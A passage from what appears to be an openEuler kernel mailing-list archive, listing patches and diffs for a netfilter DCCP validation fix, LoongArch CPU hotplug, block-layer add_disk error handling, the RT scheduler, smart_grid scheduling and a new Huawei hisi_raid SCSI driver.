NULL); + + /* pull again, including possible 48 bit sequences and subtype header */ + dh = dccp_header_pointer(skb, dataoff, dh, &_dh); + if (!dh) + return NF_DROP; + type = dh->dccph_type; if (type == DCCP_PKT_RESET && @@ -526,10 +556,20 @@ static int dccp_error(struct net *net, struct nf_conn *tmpl, struct sk_buff *skb, unsigned int dataoff, u_int8_t pf, unsigned int hooknum) { + static const unsigned long require_seq48 = 1 << DCCP_PKT_REQUEST | + 1 << DCCP_PKT_RESPONSE | + 1 << DCCP_PKT_CLOSEREQ | + 1 << DCCP_PKT_CLOSE | + 1 << DCCP_PKT_RESET | + 1 << DCCP_PKT_SYNC | + 1 << DCCP_PKT_SYNCACK; struct dccp_hdr _dh, *dh; unsigned int dccp_len = skb->len - dataoff; unsigned int cscov; const char *msg; + u8 type; + + BUILD_BUG_ON(DCCP_PKT_INVALID >= BITS_PER_LONG); dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); if (dh == NULL) { @@ -559,11 +599,17 @@ static int dccp_error(struct net *net, struct nf_conn *tmpl, goto out_invalid; } - if (dh->dccph_type >= DCCP_PKT_INVALID) { + type = dh->dccph_type; + if (type >= DCCP_PKT_INVALID) { msg = "nf_ct_dccp: reserved packet type "; goto out_invalid; } + if (test_bit(type, &require_seq48) && !dh->dccph_x) { + msg = "nf_ct_dccp: type lacks 48bit sequence numbers"; + goto out_invalid; + } + return NF_ACCEPT; out_invalid: -- 2.34.1

2 1

[PATCH OLK-5.10] LoongArch: fix two cpu hotplug problem
by Hongchen Zhang 17 Nov '23

17 Nov '23

From: Bibo Mao <maobibo(a)loongson.cn> LoongArch inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8H1QC ------------------------------------------ 1. When cpu is hotplug out, cpu is in idle state and function arch_cpu_idle_dead is called. Timer interrupt for this processor should be disabled, else there will be timer interrupt for the dead cpu. Also this prevents vcpu to schedule out during halt-polling flow when system is running in vm mode, since there is pending timer interrupt. This patch adds detailed implementation for timer shutdown interface, so that timer will be disabled when cpu is plug-out. 2. for woken-up cpu, entry address is 8 bytes, we should check first low 4 bytes and then high 4 bytes. Signed-off-by: Bibo Mao <maobibo(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/kernel/smp.c | 17 +++++++++++++++-- arch/loongarch/kernel/time.c | 25 +++++++++---------------- 2 files changed, 24 insertions(+), 18 deletions(-) diff --git a/arch/loongarch/kernel/smp.c b/arch/loongarch/kernel/smp.c index f5a94559d441..abf6484fac70 100644 --- a/arch/loongarch/kernel/smp.c +++ b/arch/loongarch/kernel/smp.c @@ -310,16 +310,29 @@ void play_dead(void) register void (*init_fn)(void); idle_task_exit(); - local_irq_enable(); + /* + * vcpu can be woken up from idle emulation in vm if irq is disabled + */ + if (!cpu_has_hypervisor) + local_irq_enable(); set_csr_ecfg(ECFGF_IPI); __this_cpu_write(cpu_state, CPU_DEAD); __smp_mb(); do { __asm__ __volatile__("idle 0\n\t"); - addr = iocsr_read64(LOONGARCH_IOCSR_MBUF0); + /* + * mailbox info is wroten from other CPU with IPI send method + * in function csr_mail_send, only 4 bytes can be wroten with + * IPI send method in one time. + * + * High 4 bytes is sent and then low 4 bytes for 8 bytes mail + * sending method. Here low 4 bytes is read by the first. + */ + addr = iocsr_read32(LOONGARCH_IOCSR_MBUF0); } while (addr == 0); + addr = iocsr_read64(LOONGARCH_IOCSR_MBUF0); init_fn = (void *)TO_CACHE(addr); iocsr_write32(0xffffffff, LOONGARCH_IOCSR_IPI_CLEAR); diff --git a/arch/loongarch/kernel/time.c b/arch/loongarch/kernel/time.c index 18fa38705da7..b2e8108bee10 100644 --- a/arch/loongarch/kernel/time.c +++ b/arch/loongarch/kernel/time.c @@ -59,21 +59,6 @@ static int constant_set_state_oneshot(struct clock_event_device *evt) return 0; } -static int constant_set_state_oneshot_stopped(struct clock_event_device *evt) -{ - unsigned long timer_config; - - raw_spin_lock(&state_lock); - - timer_config = csr_read64(LOONGARCH_CSR_TCFG); - timer_config &= ~CSR_TCFG_EN; - csr_write64(timer_config, LOONGARCH_CSR_TCFG); - - raw_spin_unlock(&state_lock); - - return 0; -} - static int constant_set_state_periodic(struct clock_event_device *evt) { unsigned long period; @@ -93,6 +78,14 @@ static int constant_set_state_periodic(struct clock_event_device *evt) static int constant_set_state_shutdown(struct clock_event_device *evt) { + unsigned long timer_config; + + raw_spin_lock(&state_lock); + timer_config = csr_read64(LOONGARCH_CSR_TCFG); + timer_config &= ~CSR_TCFG_EN; + csr_write64(timer_config, LOONGARCH_CSR_TCFG); + raw_spin_unlock(&state_lock); + return 0; } @@ -161,7 +154,7 @@ int constant_clockevent_init(void) cd->rating = 320; cd->cpumask = cpumask_of(cpu); cd->set_state_oneshot = constant_set_state_oneshot; - cd->set_state_oneshot_stopped = constant_set_state_oneshot_stopped; + cd->set_state_oneshot_stopped = constant_set_state_shutdown; cd->set_state_periodic = constant_set_state_periodic; cd->set_state_shutdown = constant_set_state_shutdown; cd->set_next_event = constant_timer_next_event; -- 2.33.0

2 1

[PATCH openEuler-22.03-LTS 00/22] Add error handle for add_disk
by Li Nan 16 Nov '23

16 Nov '23

To make applying the mainline patch easier, reorder the nbd commit about the first_minor check here. Christoph Hellwig (5): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference Luis Chamberlain (4): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling Tetsuo Handa (1): block: check minor range in device_add_disk() Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (7): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path block/blk.h | 5 +- include/linux/genhd.h | 13 +++ block/blk-integrity.c | 12 ++- block/genhd.c | 246 +++++++++++++++++++++++++----------------- drivers/block/nbd.c | 5 +- 5 files changed, 175 insertions(+), 106 deletions(-) -- 2.39.2

2 23

[PATCH OLK-5.10 0/2] Introduce CPU inspect feature
by Yu Liao 16 Nov '23

16 Nov '23

This patches series introduce CPU-inspect feature. CPU-inspect is designed to provide a framework for early detection of SDC by proactively executing CPU inspection test cases. Yu Liao (2): cpuinspect: add CPU-inspect infrastructure cpuinspect: add ATF inspector drivers/Kconfig | 2 + drivers/Makefile | 1 + drivers/cpuinspect/Kconfig | 24 +++ drivers/cpuinspect/Makefile | 8 + drivers/cpuinspect/cpuinspect.c | 166 ++++++++++++++++++++ drivers/cpuinspect/cpuinspect.h | 46 ++++++ drivers/cpuinspect/inspector-atf.c | 70 +++++++++ drivers/cpuinspect/inspector.c | 124 +++++++++++++++ drivers/cpuinspect/sysfs.c | 236 +++++++++++++++++++++++++++++ include/linux/cpuinspect.h | 40 +++++ 10 files changed, 717 insertions(+) create mode 100644 drivers/cpuinspect/Kconfig create mode 100644 drivers/cpuinspect/Makefile create mode 100644 drivers/cpuinspect/cpuinspect.c create mode 100644 drivers/cpuinspect/cpuinspect.h create mode 100644 drivers/cpuinspect/inspector-atf.c create mode 100644 drivers/cpuinspect/inspector.c create mode 100644 drivers/cpuinspect/sysfs.c create mode 100644 include/linux/cpuinspect.h -- 2.33.0

2 3

[PATCH openEuler-1.0-LTS] sched/rt: Fix double enqueue caused by rt_effective_prio
by Xia Fukun 16 Nov '23

16 Nov '23

From: Peter Zijlstra <peterz(a)infradead.org> mainline inclusion from mainline-v6.5-rc7 commit f558c2b834ec27e75d37b1c860c139e7b7c3a8e4 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8H4SN CVE: NA -------------------------------- Double enqueues in rt runqueues (list) have been reported while running a simple test that spawns a number of threads doing a short sleep/run pattern while being concurrently setscheduled between rt and fair class. WARNING: CPU: 3 PID: 2825 at kernel/sched/rt.c:1294 enqueue_task_rt+0x355/0x360 CPU: 3 PID: 2825 Comm: setsched__13 RIP: 0010:enqueue_task_rt+0x355/0x360 Call Trace: __sched_setscheduler+0x581/0x9d0 _sched_setscheduler+0x63/0xa0 do_sched_setscheduler+0xa0/0x150 __x64_sys_sched_setscheduler+0x1a/0x30 do_syscall_64+0x33/0x40 entry_SYSCALL_64_after_hwframe+0x44/0xae list_add double add: new=ffff9867cb629b40, prev=ffff9867cb629b40, next=ffff98679fc67ca0. kernel BUG at lib/list_debug.c:31! invalid opcode: 0000 [#1] PREEMPT_RT SMP PTI CPU: 3 PID: 2825 Comm: setsched__13 RIP: 0010:__list_add_valid+0x41/0x50 Call Trace: enqueue_task_rt+0x291/0x360 __sched_setscheduler+0x581/0x9d0 _sched_setscheduler+0x63/0xa0 do_sched_setscheduler+0xa0/0x150 __x64_sys_sched_setscheduler+0x1a/0x30 do_syscall_64+0x33/0x40 entry_SYSCALL_64_after_hwframe+0x44/0xae __sched_setscheduler() uses rt_effective_prio() to handle proper queuing of priority boosted tasks that are setscheduled while being boosted. rt_effective_prio() is however called twice per each __sched_setscheduler() call: first directly by __sched_setscheduler() before dequeuing the task and then by __setscheduler() to actually do the priority change. If the priority of the pi_top_task is concurrently being changed however, it might happen that the two calls return different results. If, for example, the first call returned the same rt priority the task was running at and the second one a fair priority, the task won't be removed by the rt list (on_list still set) and then enqueued in the fair runqueue. When eventually setscheduled back to rt it will be seen as enqueued already and the WARNING/BUG be issued. Fix this by calling rt_effective_prio() only once and then reusing the return value. While at it refactor code as well for clarity. Concurrent priority inheritance handling is still safe and will eventually converge to a new state by following the inheritance chain(s). Fixes: 0782e63bc6fe ("sched: Handle priority boosted tasks proper in setscheduler()") [squashed Peterz changes; added changelog] Reported-by: Mark Simmons <msimmons(a)redhat.com> Signed-off-by: Juri Lelli <juri.lelli(a)redhat.com> Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org> Link: https://lkml.kernel.org/r/20210803104501.38333-1-juri.lelli@redhat.com Signed-off-by: Xia Fukun <xiafukun(a)huawei.com> --- kernel/sched/core.c | 82 +++++++++++++++++++-------------------------- 1 file changed, 35 insertions(+), 47 deletions(-) diff --git a/kernel/sched/core.c b/kernel/sched/core.c index 7825ceaae0c4..ce0a9026450d 100644 --- a/kernel/sched/core.c +++ b/kernel/sched/core.c @@ -784,12 +784,18 @@ void deactivate_task(struct rq *rq, struct task_struct *p, int flags) dequeue_task(rq, p, flags); } -/* - * __normal_prio - return the priority that is based on the static prio - */ -static inline int __normal_prio(struct task_struct *p) +static inline int __normal_prio(int policy, int rt_prio, int nice) { - return p->static_prio; + int prio; + + if (dl_policy(policy)) + prio = MAX_DL_PRIO - 1; + else if (rt_policy(policy)) + prio = MAX_RT_PRIO - 1 - rt_prio; + else + prio = NICE_TO_PRIO(nice); + + return prio; } /* @@ -801,15 +807,7 @@ static inline int __normal_prio(struct task_struct *p) */ static inline int normal_prio(struct task_struct *p) { - int prio; - - if (task_has_dl_policy(p)) - prio = MAX_DL_PRIO-1; - else if (task_has_rt_policy(p)) - prio = MAX_RT_PRIO-1 - p->rt_priority; - else - prio = __normal_prio(p); - return prio; + return __normal_prio(p->policy, p->rt_priority, PRIO_TO_NICE(p->static_prio)); } /* @@ -2327,7 +2325,7 @@ int sched_fork(unsigned long clone_flags, struct task_struct *p) } else if (PRIO_TO_NICE(p->static_prio) < 0) p->static_prio = NICE_TO_PRIO(0); - p->prio = p->normal_prio = __normal_prio(p); + p->prio = p->normal_prio = p->static_prio; set_load_weight(p, false); /* @@ -3795,6 +3793,18 @@ int default_wake_function(wait_queue_entry_t *curr, unsigned mode, int wake_flag } EXPORT_SYMBOL(default_wake_function); +static void __setscheduler_prio(struct task_struct *p, int prio) +{ + if (dl_prio(prio)) + p->sched_class = &dl_sched_class; + else if (rt_prio(prio)) + p->sched_class = &rt_sched_class; + else + p->sched_class = &fair_sched_class; + + p->prio = prio; +} + #ifdef CONFIG_RT_MUTEXES static inline int __rt_effective_prio(struct task_struct *pi_task, int prio) @@ -3909,22 +3919,19 @@ void rt_mutex_setprio(struct task_struct *p, struct task_struct *pi_task) queue_flag |= ENQUEUE_REPLENISH; } else p->dl.dl_boosted = 0; - p->sched_class = &dl_sched_class; } else if (rt_prio(prio)) { if (dl_prio(oldprio)) p->dl.dl_boosted = 0; if (oldprio < prio) queue_flag |= ENQUEUE_HEAD; - p->sched_class = &rt_sched_class; } else { if (dl_prio(oldprio)) p->dl.dl_boosted = 0; if (rt_prio(oldprio)) p->rt.timeout = 0; - p->sched_class = &fair_sched_class; } - p->prio = prio; + __setscheduler_prio(p, prio); if (queued) enqueue_task(rq, p, queue_flag); @@ -4158,27 +4165,6 @@ static void __setscheduler_params(struct task_struct *p, set_load_weight(p, true); } -/* Actually do priority change: must hold pi & rq lock. */ -static void __setscheduler(struct rq *rq, struct task_struct *p, - const struct sched_attr *attr, bool keep_boost) -{ - __setscheduler_params(p, attr); - - /* - * Keep a potential priority boosting if called from - * sched_setscheduler(). - */ - p->prio = normal_prio(p); - if (keep_boost) - p->prio = rt_effective_prio(p, p->prio); - - if (dl_prio(p->prio)) - p->sched_class = &dl_sched_class; - else if (rt_prio(p->prio)) - p->sched_class = &rt_sched_class; - else - p->sched_class = &fair_sched_class; -} /* * Check the target process has a UID that matches the current process's: @@ -4200,10 +4186,8 @@ static int __sched_setscheduler(struct task_struct *p, const struct sched_attr *attr, bool user, bool pi) { - int newprio = dl_policy(attr->sched_policy) ? MAX_DL_PRIO - 1 : - MAX_RT_PRIO - 1 - attr->sched_priority; - int retval, oldprio, oldpolicy = -1, queued, running; - int new_effective_prio, policy = attr->sched_policy; + int oldpolicy = -1, policy = attr->sched_policy; + int retval, oldprio, newprio, queued, running; const struct sched_class *prev_class; struct rq_flags rf; int reset_on_fork; @@ -4399,6 +4383,7 @@ static int __sched_setscheduler(struct task_struct *p, p->sched_reset_on_fork = reset_on_fork; oldprio = p->prio; + newprio = __normal_prio(policy, attr->sched_priority, attr->sched_nice); if (pi) { /* * Take priority boosted tasks into account. If the new @@ -4407,8 +4392,8 @@ static int __sched_setscheduler(struct task_struct *p, * the runqueue. This will be done when the task deboost * itself. */ - new_effective_prio = rt_effective_prio(p, newprio); - if (new_effective_prio == oldprio) + newprio = rt_effective_prio(p, newprio); + if (newprio == oldprio) queue_flags &= ~DEQUEUE_MOVE; } @@ -4420,7 +4405,10 @@ static int __sched_setscheduler(struct task_struct *p, put_prev_task(rq, p); prev_class = p->sched_class; - __setscheduler(rq, p, attr, pi); + if (!(attr->sched_flags & SCHED_FLAG_KEEP_PARAMS)) { + __setscheduler_params(p, attr); + __setscheduler_prio(p, newprio); + } if (queued) { /* -- 2.34.1

2 1

[PATCH OLK-5.10] LoongArch: fix two cpu hotplug problem
by Hongchen Zhang 16 Nov '23

16 Nov '23

From: Bibo Mao <maobibo(a)loongson.cn> LoongArch inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8H1QC ------------------------------------------ 1. When cpu is hotplug out, cpu is in idle state and function arch_cpu_idle_dead is called. Timer interrupt for this processor should be disabled, else there will be timer interrupt for the dead cpu. Also this prevents vcpu to schedule out during halt-polling flow when system is running in vm mode, since there is pending timer interrupt. This patch adds detailed implementation for timer shutdown interface, so that timer will be disabled when cpu is plug-out. 2. for woken-up cpu, entry address is 8 bytes, we should check first low 4 bytes and then high 4 bytes. Signed-off-by: Bibo Mao <maobibo(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/kernel/smp.c | 17 +++++++++++++++-- arch/loongarch/kernel/time.c | 25 +++++++++---------------- 2 files changed, 24 insertions(+), 18 deletions(-) diff --git a/arch/loongarch/kernel/smp.c b/arch/loongarch/kernel/smp.c index f5a94559d441..abf6484fac70 100644 --- a/arch/loongarch/kernel/smp.c +++ b/arch/loongarch/kernel/smp.c @@ -310,16 +310,29 @@ void play_dead(void) register void (*init_fn)(void); idle_task_exit(); - local_irq_enable(); + /* + * vcpu can be woken up from idle emulation in vm if irq is disabled + */ + if (!cpu_has_hypervisor) + local_irq_enable(); set_csr_ecfg(ECFGF_IPI); __this_cpu_write(cpu_state, CPU_DEAD); __smp_mb(); do { __asm__ __volatile__("idle 0\n\t"); - addr = iocsr_read64(LOONGARCH_IOCSR_MBUF0); + /* + * mailbox info is wroten from other CPU with IPI send method + * in function csr_mail_send, only 4 bytes can be wroten with + * IPI send method in one time. + * + * High 4 bytes is sent and then low 4 bytes for 8 bytes mail + * sending method. Here low 4 bytes is read by the first. + */ + addr = iocsr_read32(LOONGARCH_IOCSR_MBUF0); } while (addr == 0); + addr = iocsr_read64(LOONGARCH_IOCSR_MBUF0); init_fn = (void *)TO_CACHE(addr); iocsr_write32(0xffffffff, LOONGARCH_IOCSR_IPI_CLEAR); diff --git a/arch/loongarch/kernel/time.c b/arch/loongarch/kernel/time.c index 18fa38705da7..b2e8108bee10 100644 --- a/arch/loongarch/kernel/time.c +++ b/arch/loongarch/kernel/time.c @@ -59,21 +59,6 @@ static int constant_set_state_oneshot(struct clock_event_device *evt) return 0; } -static int constant_set_state_oneshot_stopped(struct clock_event_device *evt) -{ - unsigned long timer_config; - - raw_spin_lock(&state_lock); - - timer_config = csr_read64(LOONGARCH_CSR_TCFG); - timer_config &= ~CSR_TCFG_EN; - csr_write64(timer_config, LOONGARCH_CSR_TCFG); - - raw_spin_unlock(&state_lock); - - return 0; -} - static int constant_set_state_periodic(struct clock_event_device *evt) { unsigned long period; @@ -93,6 +78,14 @@ static int constant_set_state_periodic(struct clock_event_device *evt) static int constant_set_state_shutdown(struct clock_event_device *evt) { + unsigned long timer_config; + + raw_spin_lock(&state_lock); + timer_config = csr_read64(LOONGARCH_CSR_TCFG); + timer_config &= ~CSR_TCFG_EN; + csr_write64(timer_config, LOONGARCH_CSR_TCFG); + raw_spin_unlock(&state_lock); + return 0; } @@ -161,7 +154,7 @@ int constant_clockevent_init(void) cd->rating = 320; cd->cpumask = cpumask_of(cpu); cd->set_state_oneshot = constant_set_state_oneshot; - cd->set_state_oneshot_stopped = constant_set_state_oneshot_stopped; + cd->set_state_oneshot_stopped = constant_set_state_shutdown; cd->set_state_periodic = constant_set_state_periodic; cd->set_state_shutdown = constant_set_state_shutdown; cd->set_next_event = constant_timer_next_event; -- 2.33.0

2 1

[PATCH OLK-5.10 v5 00/19] introduce smart_grid zone
by Yipeng Zou 16 Nov '23

16 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 496 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 ++++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1601 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10] SCSI: hisi_raid: support SPxxx series RAID/HBA controllers
by zhanglei 16 Nov '23

16 Nov '23

driver inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I89D3P CVE: NA ------------------------------------------ This commit is to support SPxxx RAID/HBA controllers. RAID controllers support RAID 0/1/5/6/10/50/60 modes. HBA controlllers support RAID 0/1/10 modes. RAID/HBA support SAS/SATA HDD/SSD. Signed-off-by: zhanglei <zhanglei48(a)huawei.com> --- Documentation/scsi/hisi_raid.rst | 84 + MAINTAINERS | 7 + arch/arm64/configs/openeuler_defconfig | 1 + arch/x86/configs/openeuler_defconfig | 1 + drivers/scsi/Kconfig | 1 + drivers/scsi/Makefile | 1 + drivers/scsi/hisi_raid/Kconfig | 14 + drivers/scsi/hisi_raid/Makefile | 7 + drivers/scsi/hisi_raid/hiraid.h | 760 +++++ drivers/scsi/hisi_raid/hiraid_main.c | 3982 ++++++++++++++++++++++++ 10 files changed, 4858 insertions(+) create mode 100644 Documentation/scsi/hisi_raid.rst create mode 100644 drivers/scsi/hisi_raid/Kconfig create mode 100644 drivers/scsi/hisi_raid/Makefile create mode 100644 drivers/scsi/hisi_raid/hiraid.h create mode 100644 drivers/scsi/hisi_raid/hiraid_main.c diff --git a/Documentation/scsi/hisi_raid.rst b/Documentation/scsi/hisi_raid.rst new file mode 100644 index 000000000000..523a6763a7fd --- /dev/null +++ b/Documentation/scsi/hisi_raid.rst @@ -0,0 +1,84 @@ +.. SPDX-License-Identifier: GPL-2.0 + +============================================== +hisi_raid - HUAWEI SCSI RAID Controller driver +============================================== + +This file describes the hisi_raid SCSI driver for HUAWEI +RAID controllers. The hisi_raid driver is the first +generation RAID driver. + +For hisi_raid controller support, enable the hisi_raid driver +when configuring the kernel. + +hisi_raid specific entries in /sys +================================= + +hisi_raid host attributes +------------------------ + - /sys/class/scsi_host/host*/csts_pp + - /sys/class/scsi_host/host*/csts_shst + - /sys/class/scsi_host/host*/csts_cfs + - /sys/class/scsi_host/host*/csts_rdy + - /sys/class/scsi_host/host*/fw_version + + The host csts_pp attribute is a read only attribute. This attribute + indicates whether the controller is processing commands. If this attribute + is set to ‘1’, then the controller is processing commands normally. If + this attribute is cleared to ‘0’, then the controller has temporarily stopped + processing commands in order to handle an event (e.g., firmware activation). + + The host csts_shst attribute is a read only attribute. This attribute + indicates status of shutdown processing.The shutdown status values are defined + as: + ====== ============================== + Value Definition + ====== ============================== + 00b Normal operation + 01b Shutdown processing occurring + 10b Shutdown processing complete + 11b Reserved + ====== ============================== + The host csts_cfs attribute is a read only attribute. This attribute is set to + ’1’ when a fatal controller error occurred that could not be communicated in the + appropriate Completion Queue. This bit is cleared to ‘0’ when a fatal controller + error has not occurred. + + The host csts_rdy attribute is a read only attribute. This attribute is set to + ‘1’ when the controller is ready to process submission queue entries. + + The fw_version attribute is read-only and will return the driver version and the + controller firmware version. + +hisi_raid scsi device attributes +------------------------------ + - /sys/class/scsi_device/X\:X\:X\:X/device/raid_level + - /sys/class/scsi_device/X\:X\:X\:X/device/raid_state + - /sys/class/scsi_device/X\:X\:X\:X/device/raid_resync + + The device raid_level attribute is a read only attribute. This attribute indicates + RAID level of scsi device(will dispaly "NA" if scsi device is not virtual disk type). + + The device raid_state attribute is read-only and indicates RAID status of scsi + device(will dispaly "NA" if scsi device is not virtual disk type). + + The device raid_resync attribute is read-only and indicates RAID rebuild processing + of scsi device(will dispaly "NA" if scsi device is not virtual disk type). + +Supported devices +================= + + =================== ======= ======================================= + PCI ID (pci.ids) OEM Product + =================== ======= ======================================= + 19E5:3858 HUAWEI SP186-M-8i(HBA:8Ports) + 19E5:3858 HUAWEI SP186-M-16i(HBA:16Ports) + 19E5:3858 HUAWEI SP186-M-32i(HBA:32Ports) + 19E5:3858 HUAWEI SP186-M-40i(HBA:40Ports) + 19E5:3758 HUAWEI SP686C-M-16i(RAID:16Ports,2G cache) + 19E5:3758 HUAWEI SP686C-M-16i(RAID:16Ports,4G cache) + 19E5:3758 HUAWEI SP686C-MH-32i(RAID:32Ports,4G cache) + 19E5:3758 HUAWEI SP686C-M-40i(RAID:40Ports,2G cache) + 19E5:3758 HUAWEI SP686C-M-40i(RAID:40Ports,4G cache) + =================== ======= ======================================= + diff --git a/MAINTAINERS b/MAINTAINERS index a7815fd1072f..8324f56a2096 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -8070,6 +8070,13 @@ M: Yonglong Liu <liuyonglong(a)huawei.com> S: Supported F: drivers/ptp/ptp_hisi.c +HISI_RAID SCSI RAID DRIVERS +M: Zhang Lei <zhanglei48(a)huawei.com> +L: linux-scsi(a)vger.kernel.org +S: Maintained +F: Documentation/scsi/hisi_raid.rst +F: drivers/scsi/hisi_raid/ + HMM - Heterogeneous Memory Management M: Jérôme Glisse <jglisse(a)redhat.com> L: linux-mm(a)kvack.org diff --git a/arch/arm64/configs/openeuler_defconfig b/arch/arm64/configs/openeuler_defconfig index ec758f0530c1..b9a50ef6d768 100644 --- a/arch/arm64/configs/openeuler_defconfig +++ b/arch/arm64/configs/openeuler_defconfig @@ -2413,6 +2413,7 @@ CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 CONFIG_SCSI_MPT2SAS=m CONFIG_SCSI_SMARTPQI=m +CONFIG_SCSI_HISI_RAID=m # CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_MYRB is not set diff --git a/arch/x86/configs/openeuler_defconfig b/arch/x86/configs/openeuler_defconfig index 5171aa50736b..43b5294326e6 100644 --- a/arch/x86/configs/openeuler_defconfig +++ b/arch/x86/configs/openeuler_defconfig @@ -2369,6 +2369,7 @@ CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 CONFIG_SCSI_MPT2SAS=m CONFIG_SCSI_SMARTPQI=m +CONFIG_SCSI_HISI_RAID=m # CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set diff --git a/drivers/scsi/Kconfig b/drivers/scsi/Kconfig index a9da1b2dec4a..41ef664cf0ed 100644 --- a/drivers/scsi/Kconfig +++ b/drivers/scsi/Kconfig @@ -473,6 +473,7 @@ source "drivers/scsi/megaraid/Kconfig.megaraid" source "drivers/scsi/sssraid/Kconfig" source "drivers/scsi/mpt3sas/Kconfig" source "drivers/scsi/smartpqi/Kconfig" +source "drivers/scsi/hisi_raid/Kconfig" source "drivers/scsi/ufs/Kconfig" config SCSI_HPTIOP diff --git a/drivers/scsi/Makefile b/drivers/scsi/Makefile index c2a1efa16912..8f26dbb5ee37 100644 --- a/drivers/scsi/Makefile +++ b/drivers/scsi/Makefile @@ -101,6 +101,7 @@ obj-$(CONFIG_MEGARAID_LEGACY) += megaraid.o obj-$(CONFIG_MEGARAID_NEWGEN) += megaraid/ obj-$(CONFIG_MEGARAID_SAS) += megaraid/ obj-$(CONFIG_SCSI_MPT3SAS) += mpt3sas/ +obj-$(CONFIG_SCSI_HISI_RAID) += hisi_raid/ obj-$(CONFIG_SCSI_UFSHCD) += ufs/ obj-$(CONFIG_SCSI_ACARD) += atp870u.o obj-$(CONFIG_SCSI_SUNESP) += esp_scsi.o sun_esp.o diff --git a/drivers/scsi/hisi_raid/Kconfig b/drivers/scsi/hisi_raid/Kconfig new file mode 100644 index 000000000000..d402dc45a7c1 --- /dev/null +++ b/drivers/scsi/hisi_raid/Kconfig @@ -0,0 +1,14 @@ +# +# Kernel configuration file for the hisi_raid +# + +config SCSI_HISI_RAID + tristate "Huawei Hisi_Raid Adapter" + depends on PCI && SCSI + select BLK_DEV_BSGLIB + depends on ARM64 || X86_64 + help + This driver supports hisi_raid SPxxx serial RAID controller, which has + PCI Express Gen4 interface with host and supports SAS/SATA HDD/SSD. + To compile this driver as a module, choose M here: the module will + be called hisi_raid. diff --git a/drivers/scsi/hisi_raid/Makefile b/drivers/scsi/hisi_raid/Makefile new file mode 100644 index 000000000000..b71a675f4190 --- /dev/null +++ b/drivers/scsi/hisi_raid/Makefile @@ -0,0 +1,7 @@ +# +# Makefile for the hisi_raid drivers. +# + +obj-$(CONFIG_SCSI_HISI_RAID) += hiraid.o + +hiraid-objs := hiraid_main.o diff --git a/drivers/scsi/hisi_raid/hiraid.h b/drivers/scsi/hisi_raid/hiraid.h new file mode 100644 index 000000000000..1ebc3dd3f2ec --- /dev/null +++ b/drivers/scsi/hisi_raid/hiraid.h @@ -0,0 +1,760 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* Copyright(c) 2022 Huawei Technologies Co., Ltd */ + 